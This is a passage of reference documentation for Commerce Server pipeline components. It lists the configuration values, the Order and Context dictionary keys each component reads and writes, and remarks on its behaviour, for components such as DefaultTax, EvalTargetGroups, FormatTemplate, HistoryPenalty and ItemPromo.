Values Written

The DefaultOrderSubTotalCy component assigns a value to the following key in the Order dictionary. The DefaultOrderSubTotal component assigns to the same key but without cy_.

Key | Description
_cy_oadjust_subtotal | The subtotal of all the items.

Remarks

The subtotal is calculated by summing the total cost for each item in the items SimpleList object in the OrderForm object.


DefaultPayment

Use this component to assign a default value to the payment authorization code. This component is usually replaced by a third-party payment component.

Note

  • The DefaultPayment component does not follow the component coordination rules. The component always sets the payment authorization code.

Intended use: Order Processing pipeline, Payment stage.

Configuration Values

None.

Values Read

None.

Values Written

The DefaultPayment component assigns a value to the following key in the Order dictionary.

Key | Description
_payment_auth_code | The payment authorization code.

Remarks

The DefaultPayment component assigns the value FAITH, a string, as the default authorization code.


DefaultShippingCy, DefaultShipping

Use these components as placeholder shipping components. The components set the shipping cost to zero (0).

The DefaultShipping component is for backward compatibility only. The DefaultShippingCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Note

  • The DefaultShippingCy and DefaultShipping components do not follow the component coordination rules. The components always zero the shipping total.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

None.

Values Read

None.

Values Written

The DefaultShippingCy component assigns a value to the following key in the Order dictionary. DefaultShipping assigns a value to the same key but without cy_.

Key | Description
_cy_shipping_total | The total cost for shipping the order.

Remarks

The DefaultShippingCy and DefaultShipping components set the shipping total to zero (0).


DefaultShopperInfo

Use this component to move information from the Shopper dictionary in the Context dictionary of the pipeline to the OrderForm.

Intended use: Order Processing pipeline, Shopper Information stage.

Configuration Values

None.

Values Read

The DefaultShopperInfo component reads the following value from the indicated dictionary.

Key | Dictionary | Description
Shopper | Context | The dictionary containing user information.

Values Written

The DefaultShopperInfo component reads the values of all keys in the Shopper dictionary and creates corresponding keys, prefixed with _shopper_ and with the same values, in the OrderForm object.

Remarks

If there is no Shopper dictionary in the Context dictionary, the component does nothing.


DefaultTaxCy, DefaultTax

Use these components to set the tax fields of the order to zero (0). These components are usually replaced by third-party tax components.

The DefaultTax component is for backward compatibility only. The DefaultTaxCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Note

  • The DefaultTaxCy and DefaultTax components do not follow the component coordination rules. The components always sets the total tax and the tax included in the order subtotal to zero (0).

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

None.

Values Read

None.

Values Written

The DefaultTaxCy component assigns values to the following keys in the Order dictionary. The DefaultTax component assigns a value to the same keys but without cy_.

Key | Description
_cy_tax_total | The total tax for the order.
_cy_tax_included | The amount of tax already included in the subtotal of the order.

Remarks

The components set the tax fields to zero (0).


DefaultTotalCy, DefaultTotal

Use these components to calculate the order total from the subtotals.

The DefaultTotal component is for backward compatibility only. The DefaultTotalCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Total stage.

Configuration Values

None.

Values Read

The DefaultTotalCy component reads the following values from the indicated dictionaries. The DefaultTotal component reads the same keys but without cy_.

Key | Dictionary | Description
_cy_oadjust_subtotal | Order | The subtotal of all of the items in the items list. Set by the DefaultSubTotal component.
_cy_shipping_total | Order | The total shipping cost for the items.
_cy_tax_total | Order | The total tax for the order.
_cy_handling_total | Order | The total cost for handling the order.

Values Written

The DefaultTotalCy component assigns a value to the following key in the Order dictionary. The DefaultTotal component assigns a value to the same key but without cy_.

Key | Description
_cy_total_total | The complete total for the order.

Remarks

These components verify that all four totals on the order have been set.

If all four values exist, they are added together and assigned to the complete total in the Order dictionary.

If any value is missing, the component stops and returns an error.


EvalTargetGroups

Use this component to target particular groups for advertising, content selection, and discounts. The component evaluates a list of expressions for each item in a list and adjusts item selection scores.

Intended use: Content Selection pipeline, Score stage.

Configuration Values

You can determine how the EvalTargetGroups component evaluates targeting expressions by setting component properties. Use the following boxes on the Eval Expressions tab of the Component Properties dialog box evaluate this information.

Row | Column | Description
Target | Match | The multiplier applied when a target expression evaluates to True. The default is 1 (one).
 | Mismatch | The multiplier applied when a target expression evaluates to False. The default is 1 (one).
Require | Match | The multiplier applied when a require expression evaluates to True. The default is 1 (one).
 | Mismatch | The multiplier applied when a require expression evaluates to False. The default is 0 (zero).
Exclude | Match | The multiplier applied when an exclude expression evaluates to True. The default is 0 (zero).
 | Mismatch | The multiplier applied when an exclude expression evaluates to False. The default is 1 (one).

Values Read

The EvalTargetGroups component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_content | Order | A reference to a ContentList object. Specifically, the target_groups field of the content items are read. The target_groups field contains an array of IDs of the target groups associated with each content item.
TargetGroups Context A dictionary of SimpleList objects. The keys are target group identifiers. Each SimpleList object contains expression name and action pairs, stored in alternating entries: the first expression name at index 0, first action at index 1; second expression name at index 2, second action at index 3; and so on.

Actions are numbers with the following meanings:

1 — Target
2 — Require
3 — Exclude
4 — Exclusive (Sponsorship)
Evaluator | Context | A reference to the ExpressionEval component to use.
ContextProfile | Context | Optional. The ContentSelector object (a dictionary) for use in expression evaluation. The dictionary contains values to test against context profile expressions entered through Commerce Server Business Desk.
UserProfile | Context | Optional. A reference to a ProfileObject object containing the profile for the current user. Used as the "UserObject" profile in evaluating the expressions.
Trace | Context | Optional. A Boolean indicating whether score adjustment tracing is enabled. This component will not produce trace strings unless this key is set to True.

Values Written

The EvalTargetGroups component writes the following values to the Order dictionary.

Key | Description
_content | A reference to a ContentList object with any required adjustments made to the score fields of content items.

Remarks

The EvalTargetGroups component evaluates all of the listed target expressions for each of the content items in the list. If the expression is True, then it will apply the Match value multiplier for the indicated action, one of Target, Require, or Exclude. Similarly, if the expression is False, then it applies the Mismatch multiplier for the specified action.

A content item may have more than one target expression that applies to it. Because of this, all target expressions are evaluated for a content item but only the expression that produces the largest multiplier is applied.

Each action corresponds to a pair of multipliers. One of the multipliers is applied to the score of content items in the ContentList object. A multiplier in the pair is chosen based on the outcome of the expression: True or False.

Sponsorship is handled differently. The Sponsorship action is not a score multiplier. Rather, if any target group contains a Sponsorship expression that evaluates to True, then all target groups that do not contain a Sponsorship expression that evaluates to True are disqualified.

If an expression produces an undefined value, then the multiplier applied depends on the action associated with the expression:

Action | Multiplier Applied
Target | Mismatch multiplier
Require | Mismatch multiplier
Exclude | Match multiplier
Sponsorship | 0 (zero)

An example of an undefined expression value would be an expression that depends on the age of the user when the age of the user is unknown.

The EvalTargetGroups and ExpressionEval components both use result caching for high performance. If multiple target groups reference the same expression, the expression is evaluated only once and subsequently the cached result is used. Similarly, if multiple content items reference the same target group, the target group is evaluated only once and subsequently the cached results are used.

This component uses the ExpressionEval object to evaluate expressions.

The behavior of the PenalizeUnmatchedTargets property of the Site Server 3.0 Commerce Edition AdServer component can be replicated by changing the multiplier for Target/Mismatch to 0.95.

See Also

ExpressionEval Object


ExecuteProcess

Use this component to run an external executable file.

Intended use: Any pipeline, any stage.

Configuration Values

You can determine where the ExecuteProcess component retrieves the document and where it writes the result by setting component properties. Use the following boxes on the Execute Process tab of the Component Properties dialog box to determine this information.

Box | Description
Path Name of the executable | The complete path to the executable file to be run by this component. To locate the file, click Browse.
Arguments to the executable | The arguments to pass to the executable file. The argument may contain %1 which is replaced by the value in the OrderForm object whose name appears in the Field Name of substitutable parameter box.
Field Name of substitutable parameter | Optional. The key in the OrderForm whose value is substituted for the %1 argument and passed to the executable file.

Values Read

The value in the Order dictionary whose key is specified in the Field Name of substitutable parameter box.

Values Written

None.

Remarks

The ExecuteProcess component runs an executable file.


FilterContent

Use this component to apply provided filters to a content list in a Content Selection pipeline (CSP).

Intended use: Content Selection pipeline, Filter stage.

Configuration Values

None.

Values Read

The FilterContent pipeline component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
FilterRequire | Order | A Dictionary object specifying fields (as keys) and corresponding values that a content item must have in order to avoid having its score set to zero (0).
FilterExclude | Order | A Dictionary object specifying fields (as keys) and corresponding values that a content item must not possess in order to avoid having its score set to zero (0).
_content | Order | A key whose value is a reference to a ContentList object. The Filter method accesses various fields in the content items in the ContentList object in the course of filtering the content items.

Values Written

The FilterContent pipeline component writes the following value to the Order dictionary.

Key | Description
_content | A key whose value is a reference to a ContentList object. The Filter method may set the score field of various content items in the ContentList object to zero (0), thus eliminating them from the selection process.

Remarks

The FilterContent component applies filters to a content list in a Content Selection pipeline. The filters to apply are retrieved from FilterRequire and FilterExclude dictionaries in the Order dictionary.

This component uses the Filter method of the ContentList object. Content items may be eliminated from the selection process either by failing to meet a required condition or by meeting an exclusion condition. The Filter method is called once for each key in the dictionaries referenced by the FilterRequire and FilterExclude entries. The keys in these dictionaries should correspond to column names in the ContentList object; the values stored under the keys correspond to the values to be tested for.

Filtering is much faster than expression evaluation and it occurs at an earlier stage in Content Selection Framework (CSF) pipelines. The ContentList object builds indexes on any fields that are filtered. Because of this indexing, it is more efficient to do as much targeting as possible in the filter stage using the FilterContent component. PageGroup targeting in the Campaign Manager in Commerce Server Business Desk is an example of how a typical CSF pipeline takes advantage of this.

The list of content is contained in the ContentList object identified by the _content entry in the Order dictionary.

See Also

ContentList.Filter


FixedHandling

Use this component to add a fixed handling charge to an order.

The FixedHandling component is supplied for backward compatibility with Site Server 3.0 Commerce Edition only. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

You can determine how the FixedHandling component applies the handling cost and the cost itself by setting component properties. Use the following boxes on the Fixed Handling tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the handling charge specified in the Cost box. The values are:
Always
Default. Specifies that the handling charge is always set to the value of the Cost box.
Equal to method
Specifies that the handling cost should be applied when the value of the shipping_method key in the Order dictionary is the same as the string specified for the Method box.
Has any value
Specifies that the handling cost is applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when value in the Apply when box is set to Equal to method.
Cost | This box specifies the handling charge.

Values Read

The FixedHandling component reads the following value from the indicated dictionary.

Key | Dictionary | Description
shipping_method | Order | This key is read when the value in the Apply when box is set to Equal to method or Has any value.

Values Written

The FixedHandling component writes the following value to the Order dictionary:

Key | Description
_handling_total | The handling total for the entire order.

Remarks

The FixedHandling component sets the value of the _handling_total key on the order form to the fixed amount specified in the Cost box.

Programmatic Use

To use the FixedHandling component outside a pipeline, you must configure it by assigning values to keys in the Configuration dictionary. The keys correspond to the indicated fields in the Component Properties dialog box.

The FixedHandlingCy component does not require configuration values when used outside of a pipeline.

For more information about using pipeline components outside of pipelines, see MicroPipe in C++ for components written in C++, or Micropipe in Visual Basic for components written in Visual Basic.


FixedShipping

Use this component to apply a fixed shipping charge to an order.

Note

  • The FixedShipping component is for backward compatibility with Site Server 3.0 only and does not support the new, extended Currency datatype.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

You can determine how the FixedShipping component applies the shipping cost by setting component properties. Use the following boxes on the Fixed Shipping tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the shipping charge specified in the Cost box. The values are:
Always
Default. Specifies that the shipping charge is always set to the value of the Cost box.
Equal to method
Specifies that the shipping cost should be applied when the value of the shipping_method key in the Order dictionary is the same as the string specified for the Method box.
Has any value
Specifies that the shipping cost is applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to Equal to method.
Cost | Specifies the shipping charge.

Values Read

The FixedShipping component reads the following value from the indicated dictionary.

Key | Dictionary | Description
shipping_method | Order | Read when the value in the Apply when box is set to Equal to method or Has any value.

Values Written

The FixedShipping component writes the following value to the Order dictionary:

Key | Description
_shipping_total | The shipping total for the entire order.

Remarks

The FixedShipping component sets the value of the _shipping_total key to the fixed amount specified in the Cost box.

You cannot specify more than one method per component. If you need to specify more than one shipping method, add a separate FixedShipping component for each method.

Example

The following example sets the shipping cost to $9.95, for items shipped by Carrier1.

Box | Value
Apply when | Equal to Method
Method | Carrier1
Cost | 995

When configuring the components in this stage, make sure that the components are in the order in which you want them run so that charges are calculated and applied in the correct order.


FlagInventory

Use this component to determine if any items on the order form are out of stock.

Intended use: Order Processing pipeline, Inventory stage.

Configuration Values

You can determine how the FlagInventory component deals with back orders by setting component properties. Use the following boxes on the Flag Inventory tab of the Component Properties dialog box to determine this information.

Box | Description
Disallow Backorder | If selected, indicates back orders are not permitted. The component will add a message to the _Purchase_Errors list when there is a back order.

Values Read

The FlagInventory component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._product_in_stock | Order | Optional. The quantity of this item in stock.
item.quantity | Order | The quantity of the item ordered.
MessageManager | Context | Dynamic. A reference to a MessageManager object. Used to retrieve the out-of-stock constant (pur_out_of_stock) in case of an error. Used only if the Disallow Backorder box is selected.

Values Written

The FlagInventory component writes the following values to the Order dictionary.

Key | Description
item._inventory_backorder | The amount back ordered to fulfill the order for this item.
_Purchase_Errors | Dynamic. Error messages are written to this SimpleList object only if the Disallow Backorder box is selected.

Errors

The component writes error messages to the _Purchase_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_out_of_stock | An item in the order is out of stock.

Remarks

When this component runs, it loops through the item list in the order form, checking the value of the _product_in_stock field for each item. If that value is zero (0), the component sets the _inventory_backorder key to the quantity ordered to indicate the shortage. In addition, if the Disallow Backorder box is selected, the component writes an out-of-stock message to the _Purchase_Errors list of the order form.

The _product_in_stock value corresponds to the in_stock column in the products database table.

This component verifies that none of the order items have the _product_in_stock value, which corresponds to the in_stock column in the products database table, set to zero (0). If any item does have this field set to zero, the FlagInventory component sets the_inventory_backorder key to the quantity ordered (indicating the shortage). If such a shortage occurs and the Disallow Backorder box is selected, the FlagInventory component will generate a pur_out_of_stock error in the _Purchase_Errors collection. This component interacts with a manual inventory control process; the product database must be updated to reflect the actual stock on hand.

If you include the FlagInventory component in your pipeline, the order form must contain a column named _product_in_stock. This value is placed in the order form by the query that is run in the Product Information stage, usually by the QueryProdInfoADO component or the QueryCatalogInfo component. Usually, this value is selected from a database column named in_stock. You can also place _product_in_stock column on the order form by manipulating the query.

This component interacts with a manual inventory control process. The product database must be updated to reflect the actual stock on hand.


FormatTemplate

Use this pipeline component to merge data from selected items and their associated templates to form formatted strings. These are usually HTML strings ready for display on the page. Items may come from the Context dictionary as well as the ContentList object in the Order dictionary.

Although this component appears as the FormatTemplate component in the Pipeline Editor, its ProgID is Commerce.CSFFormatTemplate.

Intended use: Content Selection pipeline, Format stage.

Configuration Values

None.

Values Read

The FormatTemplate component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_winnerindexes Order A SimpleList object containing the ContentList object positions of the winning content items.

If this key is present, the _winners key should not be present. If both are present, only this key is used.
_winners Order A SimpleList object containing the values from the item_id key of the winning content items.

If this entry is present, the _winnerindexes key should not be present. If both are present, only the _winners_indexes key is used.
_content | Order | A reference to the ContentList object. Multiple values are read. See the Remarks section below.
<arbitrary entry> | Context | Optional. Any arbitrary property from the Context dictionary can be a source for a substituted value in a template.
FormatTemplate Order Optional. If present, this key overrides the default format template associated with each content item being formatted. The value of this key can be:
A string
The string contains the key in the Templates dictionary of the Context dictionary. The value associated with that key is a Format Template dictionary.
A reference
A reference to a Format Template dictionary.
templates | Context | Optional. A dictionary that maps names to Format Template dictionaries. Normally, the templates key of a content item would contain a name used as a key to this dictionary, giving the proper Format Template dictionary.
ContextProfile | Context | Optional. A reference to the ContentSelector object that can be named as a source for the template substitutions performed by this component.
RedirectUrl | Context | Optional. A string containing the URL of the redirector script. Note that most templates require this key.
CacheName | Context | Optional. A string containing the name of the current content cache. Note that most templates require this key.

The FormatTemplate component reads the following values for each item in the ContentList object referred to by the _content key:

Key | Description
item_id | The identifier for the various content items.
<arbitrary fields> | A field in the ContentList object specified by a Template dictionary. Acts as the source of a value used in the template.
values | A dictionary derived from the creative_property and creative_property_values tables in the marketing database. The values in the dictionary are specific to the creative type.
template | The name of a template in the Templates dictionary. Either this value or the FormatTemplate entry in the Order dictionary must be specified.

All of these keys are optional with the exception of the item_id key.

Values Written

The FormatTemplate component writes the following values to the Order dictionary.

Key | Description
_formatted | A SimpleList object containing the formatted strings.

Remarks

A template is a string that contains substitution variables. Substitution variables can consist of letters, numbers, the underscore character, and are identified in the template string by the delimiters {% and %}. For example, {%Book_Title%} is a valid substitution variable. If for some reason you need to have a literal {% in your document, append an ampersand (&) to the sequence ({%&).

The information that replaces the substitution variables can come from several sources, including the Values dictionary in the ContentList object, the actual content item fields in the ContentList object, and from arbitrary properties in the ContentSelector object (CSO) or the Context dictionary. In addition, a default value can be supplied in the event that no value is found elsewhere. The source of the value, the default value, and how the value should be encoded, are all contained with the template string in a Format Template dictionary.

The Values dictionary is used to store variable properties of a particular type of content. For example, image ads and text ads are both ads, and should be in the same ContentList object so that they can compete with each other. But some of their properties are unique and do not apply to ads of the other type. This presents problems in the fixed schema supported by the ContentList object. The solution is a CLCOL_DISPATCH column (named Values) containing values that are references to dictionaries that contain unique keys and values. The keys and values in these dictionaries come from the creative_property and creative_property_values tables.

Format Template dictionaries are created by the LoadAdvertisements and LoadDiscounts objects from information in the marketing database. A Format Template dictionary contains a single template and information about the substitution variables in the template. It contains an entry named "text" and the value for that entry is the template string. For each substitution variable in that string, the Format Template dictionary contains three additional entries that provide the value source, the default value, and the encoding scheme for that variable. The names of these additional entries are formed by the name of the variable appended with one of the strings "_default", "_source", and "_encoding." The following table describes these additional dictionary entries.

Dictionary Entries | Description of Dictionary Entry Value
Text | The text of the template, which may include substitution variables. The other entries in the dictionary provide information about how values for the substitution variables are retrieved and formatted.
<variable>_default | A string that provides the default value, if any, for the substitution value. The default value is used if a value cannot be found in any of the specified sources.
<variable>_source A number indicating sources for the value. The name of the variable is searched for in a variety of places, indicated by one of the following numbers:
1
Looks for a value in the content item. First, the Values dictionary in the ContentList object is used, if it is present. Next, the columns of the ContentList object are examined.
2
Uses an intrinsic value, if one matches. The only currently supported intrinsic value is "unique," which causes a unique number to be generated.
3
Looks for a value in the Context dictionary. First the ContextProfile entry (the CSO) in that dictionary is examined for a matching entry name, and then the Context dictionary is examined for a matching entry name.
NULL or zero (0)
Examines all of the above sources in the order shown, stopping when the first match is found.

If no value can be found in the specified sources, the default value is used.
<variable>_encoding A number indicating the type of encoding, if any, to apply to the value. The options are:
NULL or zero
No encoding.
1
Performs full URL-encoding. An example of when this encoding is required would be a ClickUrl entry passed to the redirector.
2
Limits encoding in which space characters are encoded as plus characters. As an example, this type of encoding is useful in would-be URLs that do not go through the redirector, such as image URLs.

The resulting strings are returned in a SimpleList object assigned to the _formatted key in the Order dictionary.

See Also

CSFLoadAdvertisements

CSFLoadDiscounts


HistoryPenalty

Use this component to apply penalties to content items based on how recently they have been selected.

Although this component appears as HistoryPenalty in the Pipeline Editor, its ProgID is Commerce.CSFHistoryPenalty.

Intended use: Content Selection pipeline, Score stage.

Configuration Values

You can determine how the HistoryPenalty component applies penalties and the range of penalties by setting component properties. Use the following boxes on the History Penalty tab of the Component Properties dialog box to determine this information.

Box | Description
Apply Penalties in the range of | The minimum penalty. The default is 0.9.
To | The maximum penalty. The default is 0.5.
Number of most recent items to penalize | The number of most recent items to penalize. The default is 10.

Penalty values range between zero (0) and one (1).

Values Read

The HistoryPenalty component reads the following values from the indicated dictionary.

Key | Dictionary | Description
_content | Order | A reference to the ContentList object containing the content items that may have penalties applied to their scores. In particular the, item_id and exposure_limit keys are read.
_history | Order | The key containing the history string retrieved by the LoadHistory component.
trace | Context | A Boolean indicating whether score adjustment tracing is enabled. This component will not produce trace strings unless this key is set to True.

Values Written

The HistoryPenalty component writes the following values to the Order dictionary.

Key | Description
_content | A reference to the ContentList object containing the content items that may have their scores subjected to penalties.

Remarks

This component applies penalties to the scores of content items based on how recently the items have been selected, as well as on exposure limits the items may have. Penalties are values between zero (0) and one (1), which are multiplied by the current score of an item. This tends to reduce a score and thus reduces the possibility that the item is selected.

For example, a user could configure the nine most recently selected items to be subject to penalties ranging from 0.90 to 0.1. In this example, the most recently shown item would have its current score multiplied by 0.1, reducing its score and drastically decreasing the likelihood of being selected. The second most recently shown item would have its current score multiplied by 0.2, reducing its score slightly less.

The HistoryPenalty component reads the exposure_limit and item_id keys of each item in the ContentList object referenced by the _content entry. The exposure_limit key is a hard limit on how many times a user is shown an item. Once the limit is met, the score of the item is multiplied by zero (0.0). The adjusted score of an item is assigned to the score field of the content item.


IISAppendToLog

Use this component to record information about content selection results in the QueryString key of the Internet Information Server (IIS) log file.

Although this component appears as IISAppendToLog in the Pipeline Editor, its ProgID is Commerce.CSFIISAppendToLog.

Intended use: Event Processing pipeline, Record stage.

Configuration Values

None.

Values Read

The IISAppendToLog component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_event | Order | A string containing the name of the event to log.
_eventcount | Order | Optional. A SimpleList object containing the number of events to record for each winning content item. It must contain the same number of elements as the list of winners. If this key is not present, one event will be recorded for each winning content item.
_winnerindexes | Order | A SimpleList object containing the ContentList object indexes of the winning content items. If this key is present, the _winners key should not be present. If both are present, only the _winnerindexes key is used.
_winners | Order | A SimpleList object containing the values from the item_id key of the winning content items. If this entry is present, the _winnerindexes key should not be present. If both are present, only the _winnersindexes key will be used.
ContextProfile.PageGroup | Context | The PageGroup key from the ContentSelection object stored in the dictionary referenced by the ContextProfile object.
PageGroups | Context | A dictionary that maps page group names to IDs from the identity column in the page_groups database table.

Values Written

None for the Order or Context dictionaries.

Remarks

This component appends information about the result of the content selection process in the QueryString key of the IIS log file. This log file can be imported into the Data Warehouse for use with reporting and analysis. This component can only be used in the context of IIS because it uses the AppendToLog method of the IIS Response object.

The logging format is:

&CVET={T=class, property=value, property=value1+value2}

The components and their descriptions for this logging format are listed in the following table.

Component Description
&CEVT={
 The start of a Commerce event entry in the URI_Query object.
}
 The end of a Commerce event in the URI_Query object.
T=class
 The event class as defined in the Data Warehouse event class definitions, where class is the name of the corresponding definition. The value of class is always CAMP.
Property=value
 A value associated with a particular property. Both property and value strings must be URL-encoded (the space character and the following characters are subject to encoding: { } , = & +).Typical properties include CI (campaign item), CNT (count), and EVT (event).
Property=value1+value2
 Multiple values that are associated with a particular property. Both property and value strings are URL-encoded.
, (comma)
 Used as the separator between elements.

The following lines are examples of possible log formatted strings and a description of their contents:

&CEVT={T=CAMP,CI=3,EVT=REQUEST,PG=2}

Campaign event, campaign item 3, event name=REQUEST, page group id =2

&CEVT={T=CAMP,CI=1,CNT=3,EVT=CLICK}

Campaign event, campaign item 1, count=3, event name=CLICK

&CEVT={T=CAMP,CI=3,EVT=DOWNLOAD}

Campaign event, campaign item 3, event name=DOWNLOAD


InitCSFPipeline

Use this component at the beginning of a Content Selection pipeline (CSP) to initialize the values needed in the rest of the pipeline.

Although this component appears as InitCSFPipeline in the Pipeline Editor, its ProgID is Commerce.CSFInitPipeline.

Intended use: Content Selection pipeline, LoadContext stage.

Configuration Values

None.

Values Read

The InitCSFPipeline component reads the following values from the indicated dictionary.

Key | Dictionary | Description
ContextProfile | Context | A reference to the ContentSelector object (CSO). This object can be assigned arbitrary properties and can be used to pass additional information into the pipeline. Two entries are required. For more information, see the Remarks section.

The InitCSFPipeline component reads the following values from the ContextProfile key.

Key | Description
CacheName | The name of the cache. Used to retrieve the cache from the CacheManager object.
CacheManager | A reference to the CacheManager object.
Trace | Optional. A Boolean providing the Trace setting for the entire pipeline. Set in the ContentSelector object. Use tracing only when debugging a pipeline — tracing degrades pipeline performance.
Evaluator | Optional. Reference to an expression evaluator that is copied to the Context dictionary if it is set.
PageGroup | Optional. If present, this key causes the Cache.PageGroup property to be copied into the Context dictionary. This key is also used as a key in the FilterRequire dictionary. For more information, see the Remarks section.
Size | Optional. If present, this key is created as a key in the FilterRequire dictionary. For more information, see the Remarks section.
NumRequested | Optional. The NumRequested property of the ContentSelector object: the number of content items requested. This key is copied to the Context dictionary if it is set.
UserProfile | Optional. This key is a reference to a user profile object. This key is copied to the Context dictionary if it is set.
FilterRequire | Optional. This key is copied to the Context dictionary if it is set. For more information, see the Remarks section.
FilterExclude | Optional. This key is copied the to Context dictionary if it is set. For more information, see the Remarks section.

Values Written

The InitCSFPipeline component writes the following values in the indicated dictionaries.

Key | Dictionary | Description
_content | Order | A reference to a newly created and initialized ContentList object.
Performance | Order | A reference to the Performance dictionary, retrieved from the content cache. This key is used by the AdvertisingNeedOfDelivery component later in a pipeline to select content items. See RecordEvent for information about this dictionary.
NumRequested | Order | An optional entry created only if the ContextProfile object has a NumRequested property set. This key indicates the number of content items being requested. The pipeline returns only one content item when this key is not present.
FilterRequire | Order | This key is copied from the ContextProfile.FilterRequire object if present. When present, this key causes the FilterContent component to invoke the Filter method of the ContentList object for each entry in the dictionary. The FilterAction parameter will be set to FILTER_REQUIRE for these invocations. The dictionary has keys that are the names of content fields to search and values that are the values to match.
FilterExclude | Order | This key is copied from the ContextProfile.FilterExclude object if present. When present, this key will cause the FilterContent component to invoke the Filter method of the ContentList object for each entry in the dictionary. The FilterAction parameter is set to FILTER_EXCLUDE for these invocations. The dictionary has keys that are the names of content fields to search and values that are the values to match.
_cache | Context | A reference to the Dictionary object containing the items retrieved from the cache.
Templates | Context | The templates property of the cache. A Dictionary object.
Trace | Context | The trace setting from the ContextProfile object, if any. This value is used as the value for the TraceMode property in the ContentList object, turning tracing either on or off.
Evaluator | Context | The Evaluator object from the ContextProfile object.
RedirectUrl | Context | The Uniform Resource Locator (URL) to which to redirect users.
TargetGroups | Context | The TargetGroups entry from the cache.
PageGroups | Context | The PageGroups entry from the cache.
PageHistory | Context | The PageHistory entry from the ContextProfile object, if any.
UserProfile | Context | A reference to the user profile copied from the ContentSelector object (CSO).

Remarks

The InitCSFPipeline component is responsible for setting up numerous values in the Order and Context dictionaries for use by subsequent components in a Content Selection pipeline. In addition, the component automatically generates some content filters and allows you to use FilterInclude, FilterExclude, and PageGroups dictionaries to customize filtering without writing new pipeline components.

In general, the values the InitCSFPipeline component sets up in the Order and Context dictionaries are derived from the ContextProfile entry in the Context dictionary, or from the Cache dictionary retrieved from the CacheManager object. The ContextProfile entry in the Order dictionary contains a reference to the ContentSelector object, which provides much of the information required by the pipeline.

Also, by moving the various values from the ContextProfile to the Order and Context dictionary objects, the pipeline components farther down the pipeline have much more efficient access to this data.

Perhaps the most important task performed by the InitCSFPipeline component is the creation and initialization of the ContentList object. It is within this object that content scoring is tracked during execution of the pipeline.

The InitCSFPipeline component creates the ContentList object by following these steps:

  1. Retrieve the name of the cache from ContextProfile.
  2. Retrieve the CacheManager object from ContextProfile.CacheManager property.
  3. Get the cache from the CacheManager object.
  4. Obtain the ContentListFactory object from the cache.
  5. Call the CreateNewContentList method of the ContentListFactory object and assign the new content list to the _content key in the Order dictionary.

The FilterRequire and FilterExclude dictionaries allow custom filters to be set up without writing new pipeline components. For ease of use, the InitCSFPipeline component automatically sets up some commonly used filters for page group, ad size, and (for Discount Content Selection pipelines) NoDisplay templates. If no FilterRequire or FilterExclude dictionary is explicitly passed and one of these filters is applicable, the filter dictionary will automatically be created. If the InitCSFPipeline component detects existing filters for these keys already in a filter dictionary, it will not modify the filter.

The InitCSFPipeline component creates a filter for PageGroup (unless one already exists). This filter contains the special PageGroup "All" (Run of Site), which allows any content marked to run on the whole site to pass, and it also contains the value of the PageGroup property set on the ContentSelector object making the GetContent call (if set).

This component breaks the rule of never writing data to the Context dictionary. Nevertheless, the convention should be observed as it is by the vast majority of pipeline components.

See Also

ContentList.Filter


ItemPromo

Use this component to apply a promotional price adjustment to an item on the order form.

Note

  • The ItemPromo component should not be used for future development. The discount features of the Content Selection pipeline provide a more powerful and general mechanism for applying product discounts. For more information, see Discount Objects.

Use this component to apply a promotional price adjustment to an item on the items list for the order form. The ItemPromo component first determines whether the current date falls within the time period specified by the Start Date and End Date boxes. If it does, then the component evaluates the item to determine if it meets the conditions of the promotion (specified by the combination of the Condition Order Key, Condition Operator, and Condition Value boxes). If it does, then the ItemPromo component applies the specified discount and writes the new value to the _iadjust_currentprice key on the item order form, provided that the _iadjust_currentprice key has not been initialized by a previously run component.

Intended use: Order Processing pipeline, Adjust Price stage.

Configuration Values

You can determine the discount the ItemPromo component applies and the discount type by setting component properties. Use the following boxes on the Item Promo tab of the Component Properties dialog box to determine this information.

Box | Description
Condition Order Key | The name of the item attribute that identifies the condition to meet for a promotion to be applied (for example, _product_type).
Condition Operator | An operator (<, <=, =, >=, >, or <>) used to compare the value of the Condition Order Key box with the value in the Condition Value box. The default is the equal (=) operator.
Condition Value | The product or products that must be purchased before the promotion is applied. The value in this box is compared with the value in the column name specified in the Condition Order Key box. This value can be text, an integer, or a floating-point number.
Discount Type | Shows whether the discount is a percentage-off discount or a price discount. The default is percentage-off discount.
Discount Value | The discount amount. This must be an integer value; floating-point numbers (for example, .10) are not accepted. The default is zero (0).
Start Date | Optional. The date the promotion begins, starting at 12:00:01 a.m.
End Date | Optional. The date the promotion ends, ending at 12:00:01 a.m. For example, if you want the last day of a promotion to be 3/31, you would specify an End Date of 4/1.

Values Read

The ItemPromo component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._iadjust_regularprice | Order | The regular price of the item.
item._iadjust_currentprice | Order | The current price of the item.
item.<name> | Order | Dynamic. The key specified in the Condition Order Key box.

Values Written

The ItemPromo component writes the following values to the Order dictionary.

Key | Description
item._iadjust_currentprice | The current price of the item with the discount applied.

Remarks

The ItemPromo component applies a promotional price adjustment to an item in the item list in the order form. The component performs the following steps in testing and applying the discount:

  1. The ItemPromo component first determines whether the current date falls within the period specified by the values in the Start Date and End Date boxes.
  2. If the current date is in range, the component evaluates the item to determine if it meets the condition for the promotion. The condition is specified by the combination of the values in the Condition Order Key, Condition Operator, and Condition Value boxes.
